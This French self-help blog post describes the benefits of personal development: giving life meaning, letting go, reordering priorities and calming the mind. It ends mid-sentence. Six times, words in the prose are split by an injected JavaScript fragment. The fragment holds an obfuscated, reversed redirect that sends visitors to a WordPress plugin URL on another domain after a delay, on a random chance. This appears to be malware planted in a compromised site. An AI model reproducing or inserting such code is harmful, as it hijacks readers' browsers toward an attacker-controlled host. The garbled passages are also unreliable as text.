Les bénéfices et avantages du développement personnel
Au delà des avantages du développement personnel précédemment cités, voici quelques grandes directions qui sont autant de bienfaits du développement personnel à long terme.
Donner du sens
Parmi les principaux bénéfices du développement personnel, je reconnais que ce dernier ouvre un autre sens à la vie. Il n’y a pas que la vie matérielle. Il y a un sens caché aux choses. Même si à notre échelle, il y a peu de chance que nous puissions trouver le sens global. Nous pouvons donc constater que chacun de nos actes peut être inscrit dans un cadre qui nous dépasse. Il est extrêmement rassurant d’imaginer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ce qui échappe à notre contrôle.
Nous pouvons donc ouvrir les bras, respirer et lâcher prise.
Lâcher prise n’est pas l’équivalent de « ne rien faire ». Et espérer que le fruit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombera dans notre bouche sans bouger. Lâcher prise revient à s’engager à faire du mieux que l’on peut, sans attendre de résultat. Je sais ; pas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours simple…
Nous devons donc affirmer, depuis notre for intérieur, le sens que nous souhaitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons donner à la vie (souvent un appel de notre âme), puis vivre notre vérité. Si la manière de vivre rejoint finalement celle de l’athée, l’intention, elle, est complètement différente (car consciente).
Dans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les cas, nous sommes responsables de nos vies.
Parfois, il est bon de changer une disposition à l’intérieur de soi
La principale raison qui conduit à
entreprendre une démarche de développement personnel est généralement une
insatisfaction voire un
mal-être. L’insatisfaction peut-être un puissant moteur pour vouloir apprendre et s’améliorer. Et une
déprime voire ou une
dépression est souvent la meilleure condition pour démarrer un
travail sur soi.
La raison, qui fait que ceux qui entament une telle démarche la continuent, est que les bénéfices procurés et les avantages du développement personnels à long terme sont bien supérieurs aux coûts (financier, temps passé etc.).
A combien estimez-vous le coût de votre mal-être ou de votre insatisfaction ? A combien estimez-vous le coût de votre inaction ? Pensez-vous que les choses vont s’améliorer d’elles-mêmes ?
Parfois, il faut savoir patienter. Quand on perd un être cher, quand on a un coup de fatigue, quand on cherche une idée etc.
Dans les autres circonstances, quand une situation de vie se représente régulièrement et nous fait du mal ; il faut changer quelque chose ! Et ce « quelque chose » est souvent une disposition à l’intérieur de soi.
Ce sont rarement les autres ou l’extérieur qui posent problème, c’est la disposition que nous avons vis-à-vis d’eux ou la place que nous leur laissons prendre dans nos vies.
Remettre de l’ordre et des priorités dans sa vie
Les avantages du développement personnel dans sa version américaine ont depuis longtemps été repris par les écoles de management, notamment pour améliorer l’efficacité professionnelle. Mais ce qui vaut pour l’efficacité professionnelle peut aussi servir sur le plan personnel. Ainsi, j’ai à de nombreuses reprises dans ma carrière saisi l’opportunité d’un moment délicat ou de questionnement pour remettre de l’ordre dans ma vie.
L’idée est de remettre au centre de nos préoccupations ce qui est le plus important pour nous (l’amour, ou la famille, ou la santé, ou les amis, ou le travail etc.). On peut pour cela s’appuyer sur l’exemple du développement personnel au travail qui demande de classer ses activités comme suit.
D’abord, on fait les choses urgentes et importantes pour soi. Dans la mesure du possible, on délègue ce qui est urgent mais non important. Ensuite, on fait ce qui est important. Et seulement après arrive ce qui non urgent et non important.
Le développement personnel au sens large nous engage à nous occuper de ce qui est important en permanence. Bien sûr, il est difficilement envisageable de s’occuper de son développement perso quand on a le ventre vide. Mais on sait également que l’abondance financière ne suffit pas à rendre heureux les personnes vides ou mal intérieurement.
Le développement personnel est donc un outil performant de lutte contre le stress, le burn-out mais également la dépression.
Calmer son esprit et vivre en harmonie avec soi
Personnellement, avant, j’avais de nombreux attributs de réussite sociale (grandes études, belle carrière, bon salaire etc.). J’étais dans une logique d’accumulation (savoir, statut etc.).
Dorénavant, je souhaite conserver une certaine abondance matérielle et un équilibre social bien entendu. (Car non, je ne vivrai pas en ermite dans une grotte !). Mais surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout je suis plutôt dans une logique de dépouillement de l’esprit. Comme Saint-Exupéry, je pense désormais que :